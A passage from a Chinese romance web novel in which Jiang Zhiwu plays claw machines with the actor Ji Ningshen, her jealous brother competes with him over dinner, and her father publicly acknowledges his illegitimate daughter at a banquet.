一个颀长挺拔的身影走了出来,对方一身剪裁完美的深灰色西装勾勒出宽肩窄腰的利落线条。 他侧对着她,微微垂着眼,正低声向身后似乎是他助理模样的人交代着什么,侧脸在走廊偏冷的顶灯下显得有些冷然。 是季宁深。 他似乎有所察觉,脚步顿住,抬眼望来。 四目相对的那一瞬间,江知雾清晰地看到,季宁深眼中原本那种公事公办的清冷如同春日坚冰乍然消融。眉宇间的距离感消散无踪,唇角几乎是瞬间就漾开了一个真诚的、温煦的弧度。 “知雾姐姐?”他的声音带着毫不掩饰的惊喜,几步就走了过来,“这么巧。” 这声称呼自然又亲昵,让旁边的小助理愣了一下。 江知雾也礼貌地颔首回应:“宁深。”她目光扫过他身后的一行人,“你也在这里谈事?” “不算谈事,”季宁深侧身让身后的人先行离开,自己则留在原地,语气轻松了许多,“上午在附近拍广告,品牌方留着吃午饭,刚结束。”他视线落在她手里的文件夹上,“你是来谈合作的?” “嗯,刚敲定一个项目。”江知雾笑了笑,“没想到这么巧能遇到。” “确实挺巧的。”季宁深看着她,“一起下楼?” “好。” 两人并肩走向电梯,步伐不疾不徐。 光滑如镜的电梯门映出两人的身影,季宁深很绅士地伸手挡着电梯门让她先进。 电梯下行。短暂的安静中,透过观光电梯的玻璃幕墙,江知雾的目光被对面商场入口处一家灯火通明、色彩斑斓的礼品店吸引。 更确切地说,是被礼品店门口摆放的一排闪烁着炫目光芒的娃娃机吸引了视线。 几个半大的孩子正围在机器前大呼小叫,其中一个穿着背带裤的小男孩踮着脚,全神贯注地操控着摇杆,小脸绷得紧紧的。 记忆突然翻涌而上。 她想起很多年前,她带着江砚舟逛街时,年幼的小砚舟攥着攒了很久的硬币,非要抓那个最大的奥特曼娃娃。 可硬币投了一把又一把,娃娃每次都在出口边缘掉回去,最后江砚舟抱着她的腰,红着眼睛呜呜哭,眼泪把她的衣角都浸湿了。后来还是江知雾找到老板商量,才用钱买下了那个娃娃,哄了弟弟好几天。 想到这里,江知雾忍不住弯了弯唇角,眼底漾起温柔的笑意。 季宁深顺着她的目光 望去,正好看到娃娃机里憨态可掬的玩偶和孩子们雀跃的表情。 他捕捉到她眼底一闪而过的怀念,心里微动,轻声问道:“想去抓娃娃吗?” 江知雾愣了一下,转头看他:“可以吗?” “当然。”季宁深笑意更深,侧身做了个“请”的手势,“正好我也很久没玩过了,试试手气?” 江知雾点了点头,也笑:“好啊。” 两人穿过商场光洁的大理石地面,朝着不远处亮着暖黄灯光的礼品店走去。刚到娃娃机旁,几个围着机器的孩子就被这对气质出众的哥哥姐姐吸引了目光。 季宁深没在意周围的目光,从口袋里摸出手机扫了机器上的付款码,清脆的硬币滚落声响起。 “先热热身。”他对江知雾笑了笑,站在一台装满粉白色卡通兔子的机器前,投入两枚硬币。修长的手指握住摇杆,眼神专注地调整角度,手臂沉稳有力。 “咔嚓”,金属爪落下,精准地卡住了一只兔子玩偶的耳朵下方。“咔哒”,爪子升起时轻微晃动,但玩偶被牢牢夹紧,稳稳当当地掉进了出口通道。第一次尝试,一击即中! “哇——”旁边的小孩子们发出一阵惊叹,眼睛瞪得溜圆。 季宁深笑着把兔子玩偶捡起来,刚转身想递给江知雾,余光瞥见隔壁机器里的蜘蛛侠玩偶,又顺手投了币。 这次他动作更快,几乎没怎么调整,第二只玩偶就应声落网。 “哥哥你好厉害!”穿背带裤的小男孩眼睛瞪得溜圆,刚才他抓了十几次都没成功的玩偶,这人两下就搞定了,简直像开了挂。 季宁深把蜘蛛侠递给那个小男孩,换来对方一句响亮的“谢谢哥哥!”。他转头看向江知雾,眼底带着笑意:“该你了,想抓哪个?” 江知雾看着眼前花花绿绿的玩偶,最终指向了一台摆满猫咪玩偶的机器:“那个橘猫看起来很可爱。” 她学着季宁深的样子俯身,手指有些生疏地握住摇杆。可金属爪在她操控下像是不听使唤,要么偏离目标,要么抓起玩偶没走两步就掉了下去。 试了三次都一无所获,江知雾无奈地抿了抿唇,想起小时候江砚舟对着玻璃里的玩偶流眼泪的样子,忍不住笑自己果然和弟弟一样没天赋。 “别急,”季宁深走到她身边,声音放轻了些,“爪子落的时候要对准玩偶的重心,最好抓中间位置,按下按钮后别晃摇杆。” 季宁深讲解得很细致,视线专注地看着玻璃橱窗内的玩偶,手指也在上方模拟比划着角度。 江知雾也全神贯注地听着,一边点头一边尝试调整,手指无意识地跟着他的引导在摇杆上微微动作。 就在季宁深下意识地伸手示范时,却好巧不巧地,指尖恰好覆盖在了江知雾正在微调摇杆的手指上。 温热的触感像微弱的电流窜过,季宁深猛地收回手,耳根微微发烫:“抱歉。” “没事。”江知雾倒没在意,按照他说的方法重新调整姿势。 她深吸一口气,目光锁定玩偶的中间位置,稳稳按下按钮。金属爪精准落下,牢牢抓住了橘猫的身体,缓慢而坚定地朝着出口移动。 “哇!”期待的小朋友们发出了小声的惊呼。 爪子在上升过程中微微晃动。江知雾的心也跟着提了起来。 但在季宁深的鼓励下,那只胖乎乎的玩偶最终还是越过挡板,“咚”的一声,稳稳地掉进了出口槽。 “成功了!”连江知雾自己都没意识到,这句轻呼带着一种纯粹的、孩子般的雀跃。她几乎是条件反射般地俯身去拿那只来之不易的橘猫。 橱窗暖黄色调的光落在她脸上,柔和的光晕勾勒出她弯弯的眉眼。 季宁深看着她的笑容,也跟着笑起来:“看来我的学员进步神速。” “你教得好。”江知雾笑着把那只软乎乎的橘猫玩偶抱在怀里,手感意外的不错。 或许是久违的放松让她也起了玩心,两个忙碌的成年人,竟然又在娃娃机前配合默契地抓起来。很快,他们脚边就堆了好几只毛茸茸的战利品:憨态可掬的小熊、呆萌的史迪仔、圆滚滚的龙猫…… 几个一直围观的小孩子彻底成了他们的粉丝,眼睛里直冒星星。 “姐姐!”刚才得到蜘蛛侠的小男孩抱着战利品,一脸崇拜地大声说,“姐姐和你男朋友都好厉害哦!抓了这么多!” “男朋友?”季宁深听到这话微微一怔,下意识地看向江知雾。 江知雾正要开口解释,一个清越又带着点不耐烦的少年音突然插了进来:“我姐还没有男朋友哦。” 两人同时转头,只见江砚舟正抱臂斜倚在不远处的玻璃门框上,穿着一件宽松的黑色T恤,不知道已经看了多久。他绷着一张俊朗的脸,眼神像探照灯似的在季宁深身上扫过,最后又带着点明显的不爽落回江知雾身上。 “砚舟?”江知雾走过去,“你怎么来了?” 江砚舟撇了撇嘴,下巴朝窗外扬了扬:“你也不看看几点了。” 江知雾顺着他的目光看向窗外,原本明亮的天光不知何时已经暗了下来,商场的玻璃幕墙上倒映着细密的雨丝,淅淅沥沥的雨声透过玻璃传来,原来外面早已下起了雨。 她掏出手机一看,竟已是晚上七点多,难怪天色这么暗。 “光顾着玩,都没注意时间。”江知雾有些不好意思地笑了笑,把怀里的橘猫玩偶递给弟弟,“抓的,给你玩。” 江砚舟臭着脸,把玩偶牢牢抱紧:“走喽,回家。” “等等!”江知雾扫了眼窗外的雨势,发现小孩子们已经陆陆续续被家长接回家了。她转头问季宁深,“你怎么回去?开车了吗?” 季宁深摇摇头:“助理中午送我来的,我让他先回去了。” “外面雨下得挺大的。”江知雾想了想,指着商场外的方向,“我们家就在附近,走路十分钟就到。如果你不介意的话,要不要先去我们家避避雨?等雨小了再叫车?” 季宁深看着她被灯光染得柔和的侧脸,又看了看旁边一脸“我很不爽”的江砚舟,眼底的笑意漫开:“会不会太打扰?” “不打扰的,家里就我和砚舟两个人。”江知雾说。 季宁深说:“那就多谢知雾姐姐了。” 江砚舟在一旁听得眉头直皱,江知雾没察觉弟弟的小动作,笑着招呼两人:“走吧,雨好像没要停的意思。” 三人刚走到商场门口,季宁深的手机轻轻震动了一下。他拿出手机扫了眼屏幕,是小助理发来的消息:“老板,外面下雨了。你还在会所附近吗?我现在开过来接你,两分钟就能到!” 季宁深快速回复道:“先别,你找家附近的奶茶店先坐会儿。”发送完毕,他又点开转账界面,直接转了两千块过去,备注:奶茶钱,随便点。 手机另一头的小助理看着车窗外的瓢泼大雨,挠了挠头。 算了,老板这么说肯定有他的深意,自己照做就好。 三人走出商场门口,带着潮湿凉意的雨气扑面而来。江家的车已经等在了路边,司机撑着伞小跑下来接。 就在江知雾准备拉后车门时,江砚舟眼疾手快,一个箭步上前拉开了副驾驶的车门,不由分说地推着他姐的肩膀往里送:“姐,你坐前面!视野好!” 然后他自己一侧身,迅速地钻进了宽敞的后座,皮笑肉不笑地对季宁深挑眉。 季宁深倒不在意他幼稚 的挑衅,弯腰坐进后座,刚关上车门,就听见身旁的少年压低声音问道:“你怎么会在这里?” 季宁深语气淡然:“碰巧遇到的。” “碰巧?”江砚舟嗤笑一声,显然不信,“哪有这么巧的事?竟然还跟我姐一起抓上娃娃了!” 前排的江知雾听到动静,无奈地轻咳一声:“砚舟,不许没礼貌。” 江砚舟立刻闭上嘴,但还是不甘心地瞪了季宁深一眼。 在他心里,季宁深那副温润如玉的模样,根本就是层精心伪装的面具。毕竟他可记得清清楚楚——这人打小就是个心思深沉到骨子里,惯会不动声色坑人的心机boy! 他得保护好江知雾,免得他姐被甜言蜜语给哄骗了怎么办? 想着想着,车子已经驶入了别墅庭前。 江砚舟率先冲出去开门,故意把季宁深甩在身后。 进了门就径直冲向厨房,一边系围裙一边大声宣布:“今晚我做饭!姐你想吃什么?我最近新学了红烧排骨!” 江知雾随意道:“怎么方便怎么来,我都可以。” “需要帮忙吗?”季宁深站在岛台旁,语气温和,“我也会做饭。” 江砚舟动作一顿,猛地回头,脸上写满了“你逗我呢?”的怀疑:“你?做饭?” 他上下打量着季宁深那身价值不菲、剪裁完美的西装,再看看他那双骨节分明、一看就是养尊处优没干过家务活的手,嗤笑一声,“季大明星,您这双手金贵着呢,还是别沾油烟了,省得我们赔不起。” 就在这时,江知雾换好一身柔软的米白色家居服走了出来,正好听到后半句,惊讶地看向季宁深:“宁深,你也会做饭?” 季宁深对她笑了笑,神情自然:“嗯,在国外留学那几年,吃不惯外面的,就自己学着做了点。手艺一般,打打下手没问题。” “哦?是吗?”江砚舟一听,那股不服输的劲儿立刻上来了,“既然季大厨这么厉害,那正好咱们一起做,效率还能高一点。你想做什么?” 季宁深似乎没听出他话里的火药味,从容地挽起西装袖口,走到水槽边洗手:“都可以。看你冰箱里有什么。” “行啊!”江砚舟拉开双开门的大冰箱,里面塞满了管家定期补充的新鲜食材,琳琅满目,“食材管够,你尽管发挥!” 他倒要看看,这个心机boy是真有两下子,还是只会耍嘴皮子。 季宁深扫了一眼冰箱内部,眼神精准地掠过各种食材,修长的手指迅速点了几样:“雪花牛小排不错,虎虾很新鲜……嗯,再拿几个鸡蛋吧。” 江砚舟看着他挑的都是些需要点技术和火候的硬菜,心里冷笑:装,继续装! 他嘴上也不客气:“哟,等会儿可别把菜给炒糊了。”他一股脑把季宁深点的食材都拿出来堆在岛台上。 季宁深淡淡一笑:“不会。” 厨房里的气氛突然变得紧张又忙碌。 季宁深那边,动作行云流水。处理牛小排,精准地切成均匀的厚片,用黑胡椒、海盐和橄榄油简单腌制; 江砚舟也不甘示弱。排骨焯水、炒糖色、下料炖煮,动作大开大合。 他一边盯着锅里的排骨,一边偷瞄季宁深那边。看到季宁深那堪比米其林大厨的刀工和有条不紊的节奏,心里更是不爽,手上动作更快,恨不得把锅铲抡出火星子。 江知雾原本想进厨房帮忙,或者至少劝劝两人别弄太多。结果刚走到门口,就被里面热火朝天、刀光剑影的景象震住了。 只见两个身高腿长的男人,一个穿着高定西装外面套着格格不入的卡通围裙,一个穿着黑色T恤系着深色围裙,各自占据着厨房的半壁江山,动作间都带着一股莫名的较劲意味。 油烟机轰鸣,锅铲碰撞,香气开始弥漫。 “呃……你们……”江知雾张了张嘴。 “姐你坐着等吃就行!”江砚舟头也不回地喊。 “知雾姐姐,很快就好。”季宁深也温声回应,手上煎牛排的动作丝毫没停,油花在平底锅里滋滋作响,香气扑鼻。 江知雾看着岛台上迅速堆积起来的、远超三人份的食材半成品,眼皮跳了跳。 她默默地退到客厅,给自己倒了杯水,看着厨房里两个忙碌的背影,心里升起一种不祥的预感。 果然,随着时间的推移,厨房里传出的香味越来越复杂浓郁,而餐桌上也开始“遭殃”。 先是一盘色泽油亮、香气四溢的秘制红烧排骨被江砚舟“哐当”一声放在桌上。 紧接着,季宁深端出了摆盘精致的香煎雪花牛小排,旁边点缀着烤芦笋和松茸片。 然后是一盘蒜香黄油虎虾,虾肉Q弹饱满。 江砚舟不服输,又炒了个大火快炒的辣子鸡丁,红彤彤一片。 季宁深则从容地端出了一碗嫩滑的虾仁蒸蛋羹,上面还撒了几粒翠绿的葱花。 江砚舟瞥见,立刻又开火,做了份红油翻滚的水煮牛肉。 季宁深微微一笑,变魔术般端出一小碟清爽的芦笋豆苗。 江知雾看着眼前这张足以容纳八人的大餐桌被摆得满满当当、琳琅满目。从硬菜到小炒,从海鲜到山珍,从热菜到凉菜……几乎涵盖了各大菜系的精华。 江知雾:“……” 她深吸一口气,抬手揉了揉眉心,幽幽地叹道:“你们俩……以为是在喂猪吗?” 第37章 这顿丰盛得离谱的晚餐终于在一片略显诡异的氛围中结束。 江知雾看着满桌的剩菜,揉了揉额角,开始认真思考明天是吃一天剩饭还是干脆叫人过来打包带走。 饭后,三人一起把碗筷放进了洗碗机,季宁深的手机适时响起。 他接起简单说了两句“嗯,好,门口等”,便挂了电话。 “我助理到了。”季宁深起身,对江知雾温和道,“今天多谢款待。” 江知雾立刻起身:“我送你出去。” “姐,你坐着!”刚把最后一只碗塞进洗碗机的江砚舟快步走出来,手上还拿着擦手巾,眼神警惕地扫过季宁深,“我去送就行,你累了一天了。” 季宁深看向窗外,刚才的瓢泼大雨虽然停了,但庭院里的石板路被冲刷得湿漉漉的,边缘还积着小水洼,确实不太好走。他对江知雾温和一笑:“让砚舟送吧,外面地面滑。” 他答应得如此爽快,反而让一心防备的江砚舟愣了一下,狐疑地上下打量他——这心机男今天怎么这么好说话? 江知雾没察觉两人之间暗流涌动,笑着叮嘱:“那路上小心点,慢走。” 两人走到玄关换鞋,助理已经恭敬地站在门口等候。刚走出别墅大门,晚风带着雨后的湿意扑面而来,江砚舟立刻停下脚步,转身挡在季宁深面前,脸上的客套瞬间消失,取而代之的是毫不掩饰的敌意。 “季宁深,”少年刻意压低了声音,语气却带着十足的警告,“我警告你,少打我姐的主意!别以为我不知道你的那点心思!” 助理站在一旁,看着这剑拔弩张的场面,吓得大气都不敢出子。 毕竟,他还是第一次见有人敢这么跟自家老板说话。 季宁深闻言,微微屏住呼吸,反问道:“哦?我什么心思?” “装什么装!”江砚舟振振有词,“肯定是因为咱们俩总被营销号放在一起比较,你觉得我的颜值比你高一筹,心里怀恨在心,所以才通过接近我姐的方式,来打击报复我!” 他一口气说完,自觉逻辑严密,完美揭穿了季宁深的“阴谋”,得意地瞪着对方,等着看他被戳穿后惊慌失措的表情。 旁边的助理听得目瞪口呆,差点被自己的口水呛到——这位顶流的脑回路……真是清新脱俗啊! 季宁深听完,紧绷的肩膀瞬间放松下来,甚至忍不住低笑出声。 他看着眼前一脸“我早已看穿你”的少年,眼神里带着毫不掩饰的怜爱:“江砚舟,你真可爱。” 江砚舟:“???” 可爱?谁可爱?说谁可爱呢?!这什么反应?!不该是被揭穿后的恼羞成怒吗?! 没等江砚舟从这个匪夷所思的评价里回过神来,季宁深已经收敛了那点笑意,恢复了 一贯的矜淡疏离,对他略一颔首:“走了,替我向知雾姐姐说声晚安。” 说完,他不再看一脸懵逼的江砚舟,转身拉开车门,弯腰坐了进去。 助理赶紧升上车窗,发动车子。 直到车子彻底消失在视线里,江砚舟还愣愣地站在原地。 晚风吹过,带着雨后凉意,让他猛地打了个激灵。 江砚舟终于后知后觉地反应过来:这人刚才是不是在内涵自己呢?! “季!宁!深!”他对着车子消失的方向咬牙切齿。 这个心机男,果然没安好心! 江知雾刚设定好洗碗机的程序,按下启动键,机器发出低沉的嗡鸣声开始工作。她直起身,轻轻舒了口气。 一转头,却见江砚舟不知何时已站在厨房门口,一脸凝重,眼神严肃得仿佛要参加什么重大会议。 “姐。”他喊了一声,声音低沉。 江知雾被他这架势弄得有些莫名,擦了擦手走过去:“怎么了?送个人回来表情这么沉重?不是跟季宁深吵架了吧?” 江砚舟没回答她的问题,而是拿出自己的手机,手指飞快地操作了几下,表情无比认真:“我有个东西,觉得非常有必要分享给你。你记得一定要打开手机看一下,仔细看,认真看,反复看!” 他话音刚落,江知雾放在岛台上的手机就轻轻震动了一下,屏幕亮起,显示收到一条来自“弟弟”的新消息。 江知雾拿起手机解锁,点开聊天框。 映入眼帘的,赫然是一个电子书文件,文件名清清楚楚地写着——教你如何识别渣男:从入门到精通》。 江知雾:“……” 她盯着那个文件名,足足愣了三秒,才缓缓抬起头:“……江砚舟,你突然发这个给我干什么?” “你别管为什么。”江砚舟郑重其事地叮嘱,“总之,这本书,你一定要读烂,读透,最好能全篇背诵。” 他顿了顿,尤其强调:“特别是第142页的内容!那是精华中的精华,重中之重!” 江知雾被他这严肃的样子逗笑了,她顺手点开那个电子书文件,滑动屏幕找到目录,精准地定位到第142页的章节标题。 只见上面明晃晃地写着——“心机深沉、善于伪装的男人,千万不能要!!!” 标题足足用了三个感叹号,来表达作者激昂的情绪。 “……你这又是唱的哪出?” “哪出?当然是防患于未然!”江砚舟往前凑了两步,压低声音,“你没看出来吗?像季宁深这种能把情绪藏得滴水不漏的男人最危险了!” 他越说越激动,仿佛已经预见了姐姐被“渣男”欺骗的悲惨未来:“你看他今天又是陪你抓娃娃又是做饭的,这本书里写得清清楚楚,这种懂得讨好人的男人,大多是情场老手,专门骗你这种心思单纯的姐姐!” 江知雾看着弟弟一本正经分析的样子,又好气又好笑。 她伸手揉了揉江砚舟的头发,无奈道:“我知道你关心我,但季宁深不是你想的那种人。” “你怎么知道他不是那种人?”江砚舟不依不饶。 “因为你姐我这点眼力还是有的。”江知雾说,“季宁深心思细、教养好,对身边的人温和是习惯,不是‘别有用心’。再说了,他对谁都客客气气的,总不能说他对所有人都有意思吧?” “可是他对你尤其好啊……”江砚舟不服气地嘀咕。 突然,他猛地瞪大了眼睛,像是被一道惊天霹雳劈中了天灵盖,整个人都僵住了。 “等、等等!”他一拍大腿,声音都变了调,带着一种发现惊天阴谋的震颤,“不对!还有一种可能!” 江知雾:“……又怎么了?” 江砚舟眼神发直,喃喃自语:“他……他他他……他不会是……也想当你弟弟吧?!” “……”江知雾彻底失语。 江砚舟却越想越觉得合理,越想越觉得危机重重! 对啊,他怎么没早点想到,他姐长得好看,能力强,性格又好,还会赚钱,网上嚷嚷着想给江知雾当弟弟妹妹的人那么多。 天底下哪有比江知雾更完美的姐姐?! 好个季宁深,怪不得天天“知雾姐姐”“知雾姐姐”的叫,原来是想撬他的墙角! * 实验室的灯光冷白而恒定,江汀穿着合身的白大褂,正全神贯注地协助导师记录一组催化反应的实时数据。 对他而言,实验室的安静和数据的严谨,远比家里那些乌烟瘴气的糟心事更让人心安。 直到下午的理论课,他才抱着书本走进阶梯教室。距离上课还有几分钟,教室一角围着的几个同学正低声交谈,语气带着压抑的兴奋和唏嘘。 “……真没想到啊,平时看访谈觉得黄芷禾挺温柔得体的。” “竟然是个私生女,那她以后岂不是也能分到很可观的遗产了?” “不太了解这些,不过江氏集团绝大多数产业应该都握在江知雾手里吧?” “你傻啊,江汀他爸的资产跟江姐姐虽然没法比,但在我们普通人看来已经是天文数字了。” “嘘——小声点,江汀来了……” 一个女生眼尖看到江汀走进来,立刻用胳膊肘碰了碰同伴。 议论声戛然而止,那几位同学脸上瞬间浮现出尴尬和些许同情,目光躲闪,不太敢看他。 教室里短暂地安静了一瞬,弥漫着一种微妙的氛围。 刚才说话的那个女生脸颊泛红,带着歉意小声对江汀说:“那个……江汀,对不起啊,我们不是故意在背后议论你家的事……” 江汀只是平静地摇了摇头,走到自己的惯常位置坐下,声音清淡:“没事。” 他拿出课本和笔记,动作有条不紊,仿佛刚才被讨论的中心并非自己。 他这般平静,反而让那几个同学更加好奇,也有些不好意思。 沉默了片刻,另一个平时和江汀还算熟悉的男生忍不住凑近了些,压低声音问:“江汀,网上那些……都是真的吗?你家出了这么多糟心事,后面可怎么办啊?” 江汀闻言,抬起眼。他的眼神很干净,也很深,像秋日的潭水,不起波澜,却让人看不清底。 他看了看提问的男生,又扫过周围几双带着关切和探究的眼睛,笑了笑: “且往后看吧。” 而此时,江明启正在盘算办一场认亲宴会。 眼见女儿的身份已然捂不住,舆论虽糟,但黑红也是红,至少“江家小姐”这个名头是做实了。 他心一横,决定将黄芷禾正式推到台前。一来,显得他坦荡,试图扭转部分负面印象;二来,他自有更深远的算计。 收到精美请柬的各方人士反应各异,有鄙夷的,有看热闹的,也有碍于情面或别有目的决定前来一探虚实的。 宴会那晚,设宴的庄园内灯火通明,衣香鬓影,表面看去倒也是一派奢华热闹。 黄芷禾穿着高定礼服,妆容精致,站在镜前时,心跳得厉害。 作为不能见光的私生女多年的期盼,此刻都化作了某种孤注一掷的激动。 虽然被揭穿身份的过程挺不堪,但她终究是等到了这一天,能以“江家大小姐”的身份,光明正大地站在这里。 她深吸一口气,努力扬起练习过无数次的、得体又略带羞涩的笑容。 黄淑兰替她整理着并不存在的裙摆褶皱,眼神复杂,低声道:“今晚少说话,多微笑,跟着你爸爸就好。” 她顿了顿,还是忍不住在宴会开始前,找到正在整理领结的江明启。 “明启,你真打算在宴会公开芷禾的身份?现在风头正劲,会不会太冒险了?” 江明启对着镜子瞥了她一眼,哼了一声:“怕什么?烂摊子已经这样了,不如物尽其用。芷禾年纪不小了,有了‘江家小姐’这个正式名分,才好说亲。找个得力的亲家,对芷禾的星途,对我们,才是眼下最实在的助力。” 他的算盘打得噼啪响,女儿在他眼中,始终是一件待价而沽、用 以掌握更多话语权的筹码。 黄淑兰温婉顺从地说:“我明白了,都听你的。只要能让芷禾好,让你在集团站稳脚跟,我没意见。” 江明启满意地点点头,伸手握住她的手:“还是你懂我。” 酒过三巡,江明启拉着黄芷禾的手走到了中央。 他拿起话筒,清了清嗓子,目光扫过全场:“今天请各位来,除了叙旧,还有一件重要的事要宣布。”他拉过身边的黄芷禾,将她推到身前,“这位是黄芷禾,我的亲生女儿。” 全场瞬间安静下来,几道探究的目光齐刷刷落在黄芷禾身上。 “……我和芷禾的母亲淑兰,是大学相识,自由恋爱,感情深厚。后来她在集团做我的助理,意外怀了身孕,谁知家里长辈固执,看重门第,硬生生拆散了我们……我们不得已,才隐瞒着把孩子生下,让她受了这么多年的委屈……” 江明启语气诚挚,甚至眼眶微红,与黄淑兰对视时,两人眼中都仿佛盛满了被迫分离的痛苦和如今“守得云开见月明”的深情。 这番“深情告白”听得在场不少人暗自咋舌—— 谁不知道江明启当年是靠着原配娘家的势力才站稳脚跟,如今原配刚走没几年,就迫不及待给私生女和情人正名,吃相未免太难看。但碍于江明启的面子,众人脸上都挂着客套的微笑,纷纷附和“原来是这样”“孩子受苦了”。 江明启笑着拍了拍黄芷禾的手背,一副慈父模样:“芷禾,去和各位世伯世婶打个招呼,也认识认识同龄的朋友们,以后要多来往。” 黄芷禾心跳加速,提着精心挑选的裙摆,努力维持着优雅的姿态,走向不远处那群聚在一起说笑的年轻男女们。 他们都是本市有头有脸的家族的二代们,其中不少人,她以前只能在办家宴的时候躲在角落,远远地看一眼。 她走上前,露出自认为最得体的笑容,柔声开口:“你们好,我是黄芷禾……” 人群的说笑声顿了顿,几道目光落在她身上,带着毫不掩饰的打量。 圈子里的这些天之骄子、名门闺秀,从小在家族的光环和规矩里长大,对“私生子”这三个字天然带着排斥和鄙夷。在他们的认知里,私生子,从来都是藏在光鲜账本下的烂账,见不得光,更登不得台面。 一个穿着骚包粉色西装的年轻男人率先嗤笑出声,晃着酒杯:“哦~知道知道,这两天网上全是你的新闻嘛,想不认识都难。” 另一个女孩用甜美的嗓音不动声色挖苦:“黄小姐?哦,现在应该叫江小姐了吧,这改来改去的,会不会不方便呀?” 他们交换着心照不宣的眼神,笑声里充满了嘲讽和排挤。根本没人想去接她的话茬,也没人自我介绍,完全将她排斥在他们的圈子之外。 黄芷禾脸上的血色一点点褪去,指尖冰凉。 她站在原地,进退维谷,最终只能狼狈地笑了笑,随便找了个借口回屋。 江明启看着黄芷禾仓皇离去的背影,眉头拧成了一个疙瘩。 他原本以为精心打扮、提前教好话术的女儿能在年轻圈子里打开局面,没成想竟是这般上不了台面的模样。 他摇了摇头,眼底的失望毫不掩饰。在他看来,黄芷禾连这点场面都应付不来,简直白费了他铺的路。 城市的另一端,江氏集团总部最大的报告厅内,灯火通明,座无虚席。 作为集团相当有话语权的NO.1,江知雾当然也收到了江明启的请帖。 不过她只瞥了一眼,便随手放在了一边。对江知雾而言,参加这种过家家般的闹剧,远不如眼前这场战略发布会重要。 台上,江知雾一身利落的白色西装套裙,身姿挺拔,面对台下无数的镜头和目光,从容不迫。 她身后的巨幅屏幕上正展示着集团最新的产业布局和核心技术突破。她的发言逻辑清晰,数据详实,眼光前瞻,每一个字都掷地有声。 “……基于市场调研数据,我们将在新能源领域加大投入,计划未来三年内在华东、华南地区建成五个智能生产基地……” 她的声音清亮沉稳,条理清晰地阐述着集团未来的发展规划,偶尔抬眼与台下互动,眼神锐利而自信。 没有多余的客套,没有华丽的辞藻,每一个字都掷地有声,透着不容置疑的专业与底气。 发布会进行到一半,集团官博的小编随手剪辑了一段江知雾发言的短视频发到网上,当作常规的企业宣传。 谁也没想到,这段不到两分钟的视频直接爆了。 【江姐姐!!我把综艺盘了好几遍,终于看到江姐姐新鲜的视频啦。】 【听她讲话好舒服,虽然我一个字也听不懂。】 【实不相瞒,我技术术语一个没记住,但记住了江姐姐翻PPT时的手指可真长真好看。】 【不知道江姐姐的能力是有多硬核,才能力压一众精英,站在今天这样的高度。】 就在大家疯狂夸赞江知雾时,有人注意到视频角落里一个忙碌的身影。 镜头扫过侧台时,能看到一个穿着黑色西装的年轻男孩正快步穿梭,一会儿帮工作人员递文件,一会儿低声和技术人员确认设备,甚至在江知雾喝水的间隙,眼疾手快地递上纸巾。 舟粉一眼就认出来了: 【等等,那个穿黑西装的是不是我舟?!】 【看他那忙前忙后的小样儿,不知道的还以为他是工作人员呢哈哈哈。】 【笑不活了,江砚舟这是要把助理和保镖的活儿全抢了啊。】 【江砚舟:在舞台上我是Center,在姐姐的发布会上我是块砖,哪里需要哪里搬。[狗头]】 江知雾无意中看到了官博里的留言,朝江砚舟弯唇一笑:“大家都说你快成我的专属小助理了,跑前跑后比工作人员还积极。” 江砚舟扫了手机几眼,立刻抱臂向后一靠,哼了一声:“什么小助理?我这不是看你这边确实忙得脚不沾地么。偶尔来帮帮忙,免得你累倒了,最后麻烦的还是我。” 自从上次综艺里体验过姐姐的工作节奏,亲自体会从清晨到深夜连轴转的忙碌,他就再也没抱怨过她“没时间陪自己”。 江砚舟曾经觉得姐姐不重视自己,闹过别扭,单方面冷战,后来都变成了包容与理解。 如今只要有空,他总想着来“探班”,能搭把手就搭把手,哪怕只是帮江知雾递份文件、确认下设备,心里也觉得踏实。 江知雾心下一片柔软,她目光温和地落在弟弟身上,看了他好几秒,才笑了笑,轻声开口:“长大了。” 很快,随着新一期《推开家门是你》综艺录制的日子临近,季家也弥漫着一种特别的期待。 小团子季念念已经念叨了好几天:“舅舅舅舅,我们什么时候再去找江姐姐玩呀?我想江姐姐了!” 出发录制当天,季念念早早缠着妈妈季名姝,给自己换好了漂亮的小裙子,然后兴奋地围着季宁深转悠。 季宁深似乎也比平时更注重仪表一些。他站在玄关的镜子前,看似随意地调整了一下额前碎发的弧度,又扯了扯衬衫领口。 季念念仰着小脑袋,眨巴着大眼睛,看了好久,终于忍不住好奇,奶声奶气地问:“舅舅,你为什么一直整理头发呀?”她掰着指头数,“从早上开始,你已经整理了……一、两、二、三、四……四次头发啦!” 小团子把脑袋一歪,语气充满了纯真的不解:“你的头发已经很帅了!” 季宁深的动作一僵。 “噗嗤——” 旁边正在检查随身物品的季名姝,一个没忍住,直接笑出声来。 她看着自家弟弟难得窘迫的模样,意味深长地冲对方挑眉。 季宁深:“……” 第38章 由于黄芷禾的口碑下降了不少,为了保持节目的曝光度,《推开家门是你 》又邀请了两位嘉宾参与新一期的录制,并在微博上进行了官宣: “惊喜加码!人气男团‘zelon’成员@暨明旭@宿姚即将空降《推开家门是你》,新鲜血液注入,会碰撞出怎样的火花?敬请期待!” 江知雾在忙碌的间隙刷到这条消息时,目光在“暨明旭”这个名字上停顿了片刻。 她微微蹙起眉头,觉得这个名字有些眼熟。 略一思索,便想了起来——这正是原书中让江砚舟陷入事业危机的关键人物之一。 书中提及,暨明旭早年生活拮据时,曾以匿名身份为多位歌手担任幕后枪手,负责写词作曲。而江砚舟刚出道时人气飙升的几首代表作,就被爆料是出自暨明旭之手。 这段“枪手风波”几乎是在一夜之间爆发,铺天盖地的爆料配合着江砚舟当时满身的争议和黑料,直接将这位崭露头角的少年顶流推向了“才不配位”、“欺世盗名”的骂声之中。 她点开搜索引擎,输入“暨明旭”,搜索框立刻跳出了“暨明旭被江砚舟点评”的相关词条。 江知雾心头一跳,点了进去。 几年前,某地方音乐台举办的新人颁奖礼上,暨明旭凭借一首原创歌曲拿下“年度潜力奖”。而作为特邀嘉宾出席的江砚舟在后台接受采访时,被问及对获奖作品的看法,当时还未满十八岁的少年性子直,皱着眉说了句:“旋律套路,歌词空洞。” 这句话被媒体断章取义,再加上后来江砚舟在另一个场合对沈聿冷眼的事情,两桩事被黑粉拼凑到一起,成了他“狂傲自大”“不尊重前辈还打压后辈”的铁证。 直到现在,还有人在相关帖子下留言嘲讽他“没红几天就飘了”。 江知雾关掉网页,揉了揉眉心。 她太清楚江砚舟的性子,看似张扬跳脱,实则对音乐有种近乎执拗的纯粹,他说“没灵魂”,大概率是真觉得作品少了打动人心的东西,绝非故意针对谁。可落在有心人眼里,就成了攻击他的武器。 